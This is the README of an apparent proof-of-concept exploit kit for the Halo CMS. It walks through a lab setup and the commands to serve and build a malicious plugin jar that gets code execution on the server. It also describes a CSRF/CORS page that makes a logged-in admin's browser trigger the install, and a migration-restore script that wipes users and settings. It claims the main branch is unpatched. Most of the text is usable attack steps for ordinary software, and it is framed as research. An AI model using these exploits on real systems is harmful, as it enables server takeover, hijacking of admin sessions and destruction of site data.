
halo cms plugin 1-request rce from a url, PoC + exploit chain
halo's console lets admins install and upgrade plugins by pasting a url. it fetches whatever url, installs the jar, and the jar's code runs on the server. no scheme checks, no host checks, redirects followed, and the plugin manager loads the extension classes straight out of the jar.
that is cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain). all three verified against halohub/halo:2.25.4 in a docker lab, august 2026. main is still unpatched.
the fun part: it's also a browser-only chain. the console api does not check the xsrf token, the session cookie is samesite=none, and cors reflects any origin with credentials. a page the admin visits can do it all with fetch(). see exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
serve a jar from the host (bound to 0.0.0.0, the container reaches the host as host.docker.internal):
python3 -m http.server 8123
build the malicious plugin (needs jdk 17):
cd plugin && sh build.sh
then:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
any already-installed plugin can be replaced in a single request; the jar just needs the same metadata.name and a higher version. poc-sitemap.jar is that variant for the built-in PluginSitemap (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
open exploit/csrf.html, point it at your halo, click. that's the cve-2026-67921 -> cve-2026-67919 chain: no xsrf header, session cookie goes cross-site, cors allows the readback.
admin only, no matter what the cisa description says. anonymous gets a 302, guest gets a 403, admin gets code execution. the csrf chain keeps it interesting because the admin is already logged in when the page runs.
restorations fetch an arbitrary url (another fetch primitive), write the zip's workdir/ into the halo work dir unsanitized, and replace the whole extension store with the backup's contents. an empty extensions.data wipes users, role bindings and settings. use exploit/migration_restore.py on a throwaway box only.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
for the 1-request variant, edit plugin/plugin.yaml (metadata.name + version) and rebuild; or use the prebuilt poc-sitemap.jar against a halo that has PluginSitemap installed.
disclaimer: for research on systems you own. the migration one in particular will wreck the instance it runs against.
chris jagdeo (k0nnect)